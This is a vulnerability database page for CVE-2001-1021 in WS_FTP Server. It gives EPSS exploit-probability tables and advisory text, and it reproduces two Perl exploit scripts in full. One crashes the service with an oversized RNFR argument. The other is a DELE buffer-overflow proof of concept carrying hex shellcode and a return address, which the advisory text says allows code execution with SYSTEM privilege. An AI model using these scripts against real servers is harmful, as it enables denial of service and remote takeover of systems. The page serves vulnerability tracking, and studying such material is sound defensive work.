CVE-2001-1021 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.69%	–	–
2022-02-20	–	–	7.69%	–	–
2022-04-03	–	–	7.69%	–	–
2022-05-29	–	–	7.69%	–	–
2023-03-12	–	–	–	79.39%	–
2023-06-18	–	–	–	76.82%	–
2024-06-02	–	–	–	76.82%	–
2024-12-22	–	–	–	49.41%	–
2025-01-19	–	–	–	49.41%	–
2025-03-18	–	–	–	–	83.94%
2025-03-30	–	–	–	–	84.42%
2025-03-30	–	–	–	–	84.42,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	81%
2022-02-20	82%
2022-04-03	92%
2022-05-29	93%
2023-03-12	98%
2023-06-18	98%
2024-06-02	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

#===== Start WS_FTP_Overflow.pl ===== # # Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass> # WS_FTP_Overflow.pl 127.0.0.1 hello moto # # WS_FTP Server Version 5.03, 2004.10.14 # # Download: # http://www.ipswitch.com/ # ###################################################### use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "21", Proto => "TCP")) { print "Attempting to kill WS_FTP Server service at $ARGV[0]:21..."; sleep(1); print $socket "USER $ARGV[1]\r\n"; sleep(1); print $socket "PASS $ARGV[2]\r\n"; sleep(1); print $socket "PORT 127,0,0,1,18,12\r\n"; sleep(1); print $socket "RNFR " . "A" x 768 . "\r\n"; close($socket); } else { print "Cannot connect to $ARGV[0]:21\n"; } #===== End WS_FTP_Overflow.pl ===== # milw0rm.com [2004-11-29]

source: https://www.securityfocus.com/bid/3102/info WS-FTP Server is vulnerable to malicious remote user input argumenting multiple FTP commands received from anonymously connecting clients. An attacker may supply a long sequence of characters as an argument to any of the affected commands. If the length of the argumenting string exceeds the size of its input buffer, the excess data will overwrite other variables on the stack and the stack frame itself. As a result, an attacker can replace the affected function's return address with a pointer to malicious shellcode, allowing arbitrary code to run with SYSTEM privilege. #!/usr/local/bin/perl ######################################################################### # # WS_FTP Server 2.0.2 DELE proof-of-concept exploit # By andreas@defcom.com and janne@defcom.com (C)2001 # ######################################################################### $login="ftp"; #username $pass="ftp"; #password ######################################################################### $ARGC=@ARGV; if ($ARGC !=1) { print "WS_FTP server 2.0.2 DELE proof-of-concept exploit\n"; print "It creates a file named defcom.iyd in the c-root\n"; print "(C)2001 andreas\@defcom.com\n"; print "Usage: $0 <host>\n"; print "Example: $0 127.0.0.1\n"; exit; } use Socket; my($remote,$port,$iaddr,$paddr,$proto); $remote=$ARGV[0]; $port = "21"; $iaddr = inet_aton($remote) or die "Error: $!"; $paddr = sockaddr_in($port, $iaddr) or die "Error: $!"; $proto = getprotobyname('tcp') or die "Error: $!"; socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!"; connect(SOCK, $paddr) or die "Error: $!"; sleep(1); $msg = "user $login\n"; send(SOCK, $msg, 0) or die "Cannot send query: $!"; $msg = "pass $pass\n"; sleep(1); send(SOCK, $msg, 0) or die "Cannot send query: $!"; $sploit = "\x8b\xd8\x8b\xf8\x83\xc0\x18\x33\xc9\x66\xb9\x42\x81\x66\x81\xf1\x80\x80\x80\x30\x95\x40\xe2\xfa\xde\x1e\x76"; $sploit = $sploit . "\x1e\x7e\x2e\x95\x6f\x95\x95\xc6\xfd\xd5\x95\x95\x95\x2b\x49\x81\xd0\x95\x6a\x83\x96\x56\x1e\x75\x1e\x7d\xa6\x55"; $sploit = $sploit . "\xc5\xfd\x15\x95\x95\x95\xff\x97\xc5\xc5\xfd\x95\x95\x95\x85\x14\x52\x59\x94\x95\x95\xc2\x2b\xb1\x80\xd0\x95"; $sploit = $sploit . "\x6a\x83\xc5\x2b\x6d\x81\xd0\x95\x6a\x83\xa6\x55\xc5\x2b\x85\x83\xd0\x95\x6a\x83"; $msg = "dele " . $sploit . "\xd4" x (460-length($sploit)) . "\xf6\xaf\xc9\xf1\xf0\xf3\xf6\xfa\xf8\xbb\xfc\xec\xf1\x95"; $msg = $msg . "\xab\xa3\x54\x77" . "\xd4" x 16 . "\x8b\xc4\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x71\xff\xe0\n"; print $msg; sleep(1); send(SOCK, $msg, 0) or die "Cannot send query: $!"; exit;